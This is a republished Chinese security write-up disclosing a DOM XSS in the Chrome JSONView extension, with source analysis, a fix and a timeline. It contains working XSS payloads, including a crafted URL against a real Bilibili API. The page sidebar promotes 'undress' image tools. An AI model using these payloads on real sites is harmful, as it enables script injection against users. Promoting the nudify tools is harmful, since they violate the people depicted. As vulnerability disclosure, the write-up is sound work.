suchen
HeimWeb-FrontendHTML-Tutorial明枪易躲暗箭难防 – JSONView 0day_html/css_WEB-ITnose

明枪易躲暗箭难防 – JSONView 0day_html/css_WEB-ITnose

PHP中文网
PHP中文网
Jun 24, 2016 am 11:19 AM

0x01 JSONView 介绍

  • Github:  https://github.com/gildas-lormeau/JSONView-for-Chrome

  • ChromeStore:  https://chrome.google.com/w.....bnpoihckbnefhakgolnmc?hl=en-US

JSONView 插件是目前最热门的一款开发者工具插件，它是查看json数据的神器。通常来讲，json 数据一般没有经过格式化或经过了 unicode 编码，没有缩进，没有换行等，给开发者阅读造成了一定困难。而jsonview 插件可以自动对 json 数据转码，缩进，格式化，直接显示出格式化后的数据，使得开发人员可以更好的阅读信息，本文中出现问题的版本为 Chrome 浏览器下的 JSONView 插件，Firefox 下版本不受影响。

0x02 正确的处理方式

我们知道开发人员在使用 JSONP callback 的方式进行跨域请求时，通常会为了方便前端调用 callback 名是可自定义的，例如 function?callback=jQuery14114 ，这时页面将会输出 callback 的参数值到页面中，所以出现了很多 callback 导致的跨站漏洞，解决方案大多由过滤 URL 特殊字符、严格定义 Response 头的 Content-Type:application/json 。

下面这个例子则为 Bilibili API :

http : //api.bilibili.com/x/favourite/folder?callback=jQu%3Ch1%3E163&jsonp=jsonp&_=1461828995783

c334041bjw1f3cq8flqacj20s70h9n1z.jpg

我们可以看到由于 Reponse Headers 严格定义了 Content-Type 类型为 json 数据格式，所以尽管我成功注入了未转义标签代码，但仍然不会得到执行（ChromeView-source 模式下如果正常解析后是会有高亮标识的），JSONView 的故事也是从这个时候开始的。

0x03 Dom XSS Vulnerability

我们之前谈到过 JSONView 插件能够美化原本乱糟糟的 JSON 数据，就像这样：

1.jpg

在使用 JSONView 的过程中我发现它把数据提取进行了渲染，也就导致原本不存在的漏洞在这里得以重现！这里有一个前提，网站使用限制 Content-Type 类型对其的过滤而未过滤特殊字符。所以我们可以看到：

2.jpg

在之后的源码分析中得知是因为通过 DOM 插入数据，直接写入 script 是不加载资源的，所以我们可以使用很多方法来触发恶意代码：

1. <img src=@ onerror=alert(1)>
2. <body onload=alert(1)>
3. ...

通过测试后发现，只要参数中包含 空格、圆括号，插件即使是在开启的情况下，也不会再对 JSON 结果进行数据解析，虽然在黑盒测试过程中我通过斜线等技巧实现了加载恶意代码，但还是要来看看这个插件究竟做了哪些处理。

3.jpg

0x04 源码分析

通过断点调试，寻找到 innerHTML 文件：/master/WebContent/content.js

function displayUI(theme, html) {
    var statusElement, toolboxElement, expandElement, reduceElement, viewSourceElement, optionsElement, content = "";
    content += &#39;<link rel="stylesheet" type="text/css" href="&#39; + chrome.runtime.getURL("jsonview-core.css") + &#39;">&#39;;
    content += "<style>" + theme + "</style>";
    content += html;
    document.body.innerHTML = content;
    ....
}
    
function init(data) {
    port.onMessage.addListener(function(msg) {
        if (msg.oninit) {
            options = msg.options;
            processData(data);
        }
        if (msg.onjsonToHTML)
            if (msg.html) {
                displayUI(msg.theme, msg.html);
            } else if (msg.json)
                port.postMessage({
                    getError : true,
                    json : json,
                    fnName : fnName
                });
        if (msg.ongetError) {
            displayError(msg.error, msg.loc, msg.offset);
        }
    });
    port.postMessage({
        init : true
    });
}

 我们看到在 displayUI 函数中 innerHTML 的操作：document.body.innerHTML = content; ，下面来看一下 jsonToHTML 函数在入口文件 /JSONView-for-Chrome/blob/master/WebContent/background.js 中加载：

4.jpg

/master/WebContent/workerFormatter.js 提取核心部分代码：

function htmlEncode(t) {
    return t != null ? t.toString().replace(/&/g, "&amp;").replace(/"/g, "&quot;").replace(/</g, "&lt;").replace(/>/g, "&gt;") : &#39;&#39;;
}
    
function decorateWithSpan(value, className) {
    return &#39;<span class="&#39; + className + &#39;">&#39; + htmlEncode(value) + &#39;</span>&#39;;
}
    
function jsonToHTML(json, fnName) {
    var output = &#39;&#39;;
    if (fnName)
        output += &#39;<div class="callback-function">&#39; + fnName + &#39;(</div>&#39;;
    output += &#39;<div id="json">&#39;;
    output += valueToHTML(json);
    output += &#39;</div>&#39;;
    if (fnName)
        output += &#39;<div class="callback-function">)</div>&#39;;
    return output;
}
    
addEventListener("message", function(event) {
    var object;
    try {
        object = JSON.parse(event.data.json);
    } catch (e) {
        postMessage({
            error : true
        });
        return;
    }
    postMessage({
        onjsonToHTML : true,
        html : jsonToHTML(object, event.data.fnName)
    });
}, false);

之后对 html : jsonToHTML(object, event.data.fnName) 其中的 event 下断点进行追踪，找到 fnName 的赋值代码 /master/WebContent/content.js：

function extractData(rawText) {
    var tokens, text = rawText.trim();
    
    function test(text) {
        return ((text.charAt(0) == "[" && text.charAt(text.length - 1) == "]") || (text.charAt(0) == "{" && text.charAt(text.length - 1) == "}"));
    }
    
    if (test(text))
        return {
            text : rawText,
            offset : 0
        };
    tokens = text.match(/^([^\s\(]*)\s*\(([\s\S]*)\)\s*;?$/);
    if (tokens && tokens[1] && tokens[2]) {
        if (test(tokens[2].trim()))
            return {
                fnName : tokens[1],
                text : tokens[2],
                offset : rawText.indexOf(tokens[2])
            };
    }
}

在 extractData 函数中，我们找到了 fnName 的赋值，tokens 会根据正则获取需要解析的 fnName, text 等值，也就是这个正则导致我们是无法注入圆括号的，因为他被匹配到了 text 中：

4.jpg

0x05 执行测试代码

通过阅读正则，我们发现可以使用 URL编码（HTML 实体编码）+斜线等方式来注入代码并执行：

    1. <img/src=&#39;@&#39;/onerror=alert(window.location)>
    2. <img/src=&#39;@&#39;/onerror=alert(window.location)>
    3. <img/src=&#39;@&#39;/onerror=%3Cimg/src=%27@%27/onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2341%3B%3E>
    4. http://api.bilibili.com/x/favourite/folder?callback=jQu11111%3Cimg/src=%27@%27/onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2341%3B%3E765386356466327_1461828974439&jsonp=jsonp&_=1461828995783

通过几次变形，我们编写出最终的测试代码以弹出 window.location 地址，就这样原本过滤严谨的接口因为 JSONView 的问题而全面崩塌：

5.jpg

0x06 修复方案

使用 /master/WebContent/workerFormatter.js 文件中的 htmlEncode 函数进行过滤：

    function jsonToHTML(json, fnName) {
        var output = &#39;&#39;;
        if (fnName)
            output += &#39;<div class="callback-function">&#39; + htmlEncode(fnName) + &#39;(</div>&#39;;
        output += &#39;<div id="json">&#39;;
        output += valueToHTML(json);
        output += &#39;</div>&#39;;
        if (fnName)
            output += &#39;<div class="callback-function">)</div>&#39;;
        return output;
    }

0x07 VulnTimeline

  • Find the vulnerability. - 2016/04/28 15:00

  • Because the JSONView plug-in (Chrome platform) has not been updated for a long time, Unable to contact the author to fix the vulnerability. - 2016/04/28 20:15

  • Write the Paper, via @evi1m0. - 2016/04/28 22:32

Stellungnahme
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Verwandter Artikel
HTML: Die Struktur, CSS: Der Stil, JavaScript: Das VerhaltenHTML: Die Struktur, CSS: Der Stil, JavaScript: Das VerhaltenApr 18, 2025 am 12:09 AM

Die Rollen von HTML, CSS und JavaScript in der Webentwicklung sind: 1. HTML definiert die Webseitenstruktur, 2. CSS steuert den Webseitenstil, und 3. JavaScript fügt ein dynamisches Verhalten hinzu. Zusammen bauen sie den Rahmen, die Ästhetik und die Interaktivität moderner Websites auf.

Die Zukunft von HTML: Evolution und Trends im WebdesignDie Zukunft von HTML: Evolution und Trends im WebdesignApr 17, 2025 am 12:12 AM

Die Zukunft von HTML ist voller unendlicher Möglichkeiten. 1) Neue Funktionen und Standards umfassen mehr semantische Tags und die Beliebtheit von Webcomponenten. 2) Der Webdesign -Trend entwickelt sich weiterhin für reaktionsschnelles und zugängliches Design. 3) Die Leistungsoptimierung verbessert die Benutzererfahrung durch reaktionsschnelle Bildlade- und faulen Ladetechnologien.

HTML vs. CSS vs. JavaScript: Ein vergleichender ÜberblickHTML vs. CSS vs. JavaScript: Ein vergleichender ÜberblickApr 16, 2025 am 12:04 AM

Die Rollen von HTML, CSS und JavaScript in der Webentwicklung sind: HTML ist für die Inhaltsstruktur verantwortlich, CSS ist für den Stil verantwortlich und JavaScript ist für dynamisches Verhalten verantwortlich. 1. HTML definiert die Webseitenstruktur und den Inhalt durch Tags, um die Semantik zu gewährleisten. 2. CSS steuert den Webseitenstil über Selektoren und Attribute, um es schön und einfach zu lesen. 3. JavaScript steuert das Verhalten von Webseiten über Skripte, um dynamische und interaktive Funktionen zu erzielen.

HTML: Ist es eine Programmiersprache oder etwas anderes?HTML: Ist es eine Programmiersprache oder etwas anderes?Apr 15, 2025 am 12:13 AM

HtmlisnotaprogrammingLanguage; itiSamarkuplanguage.1) htmlstructuresandFormatswebcontentuses.2) itWorkswithCSSForstylingandjavaScriptForinteraktivität, EnhancingWebDevelopment.

HTML: Erstellen der Struktur von WebseitenHTML: Erstellen der Struktur von WebseitenApr 14, 2025 am 12:14 AM

HTML ist der Eckpfeiler der Erstellung von Webseitenstruktur. 1. HTML definiert die Inhaltsstruktur und die Semantik und Verwendung usw. Tags. 2. Stellen Sie semantische Marker wie usw. zur Verfügung, um den SEO -Effekt zu verbessern. 3. Um die Benutzerinteraktion durch Tags zu verwirklichen, achten Sie auf die Verifizierung der Form. 4. Verwenden Sie fortschrittliche Elemente wie in Kombination mit JavaScript, um dynamische Effekte zu erzielen. 5. Zu den häufigen Fehlern gehören nicht abgegebene Bezeichnungen und nicht geeignete Attributwerte, und Überprüfungstools sind erforderlich. 6. Optimierungsstrategien umfassen das Reduzieren von HTTP -Anforderungen, die Komprimierung von HTML, die Verwendung semantischer Tags usw.

Von Text zu Websites: Die Kraft von HTMLVon Text zu Websites: Die Kraft von HTMLApr 13, 2025 am 12:07 AM

HTML ist eine Sprache, mit der Webseiten erstellt, die Webseitenstruktur und -inhalt über Tags und Attribute definiert werden. 1) HTML organisiert die Dokumentstruktur über Tags, wie z. B.. 2) Der Browser analysiert HTML, um das DOM zu erstellen und die Webseite zu rendern. 3) Neue Merkmale von HTML5, wie z. B. Multimedia -Funktionen. 4) Zu den häufigen Fehlern gehören nicht abgestimmte Bezeichnungen und nicht geeignete Attributwerte. 5) Die Optimierungsvorschläge umfassen die Verwendung semantischer Tags und die Reduzierung der Dateigröße.

HTML, CSS und JavaScript verstehen: Ein AnfängerhandbuchHTML, CSS und JavaScript verstehen: Ein AnfängerhandbuchApr 12, 2025 am 12:02 AM

WebdevelopmentRelieSonHtml, CSS und JavaScript: 1) HtmlStructuresContent, 2) CSSstylesit und 3) JavaScriptaddssinteraktivität, Bildung von TheBasisofModerernwebexperiences.

Die Rolle von HTML: Strukturierung von WebinhaltenDie Rolle von HTML: Strukturierung von WebinhaltenApr 11, 2025 am 12:12 AM

Die Rolle von HTML besteht darin, die Struktur und den Inhalt einer Webseite durch Tags und Attribute zu definieren. 1. HTML organisiert Inhalte über Tags wie das Lesen und Verständnis. 2. Verwenden Sie semantische Tags wie usw., um die Zugänglichkeit und SEO zu verbessern. 3. Optimierung des HTML -Codes kann die Ladegeschwindigkeit und die Benutzererfahrung der Webseite verbessern.

See all articles

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Mehr anzeigen

Heißer Artikel

R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)
1 Monate vorBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Beste grafische Einstellungen
1 Monate vorBy尊渡假赌尊渡假赌尊渡假赌
Assassin's Creed Shadows: Seashell Riddle -Lösung
3 Wochen vorByDDD
Was ist neu in Windows 11 KB5054979 und wie Sie Update -Probleme beheben
2 Wochen vorByDDD
Will R.E.P.O. Crossplay haben?
1 Monate vorBy尊渡假赌尊渡假赌尊渡假赌
Mehr anzeigen

Heiße Werkzeuge

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

WebStorm-Mac-Version

WebStorm-Mac-Version

Nützliche JavaScript-Entwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

DVWA

DVWA

Damn Vulnerable Web App (DVWA) ist eine PHP/MySQL-Webanwendung, die sehr anfällig ist. Seine Hauptziele bestehen darin, Sicherheitsexperten dabei zu helfen, ihre Fähigkeiten und Tools in einem rechtlichen Umfeld zu testen, Webentwicklern dabei zu helfen, den Prozess der Sicherung von Webanwendungen besser zu verstehen, und Lehrern/Schülern dabei zu helfen, in einer Unterrichtsumgebung Webanwendungen zu lehren/lernen Sicherheit. Das Ziel von DVWA besteht darin, einige der häufigsten Web-Schwachstellen über eine einfache und unkomplizierte Benutzeroberfläche mit unterschiedlichen Schwierigkeitsgraden zu üben. Bitte beachten Sie, dass diese Software

Dreamweaver Mac

Dreamweaver Mac

Visuelle Webentwicklungstools

Mehr anzeigen

Heiße Themen

Wo ist der Login-Zugang für Gmail-E-Mail?
7547
15
CakePHP-Tutorial
1382
52
Wie lautet das Format des Kontonamens von Steam?
83
11
Win11 -Aktivierungsschlüssel dauerhaft
57
19
NYT -Verbindungen Hinweise und Antworten
22
90
Mehr anzeigen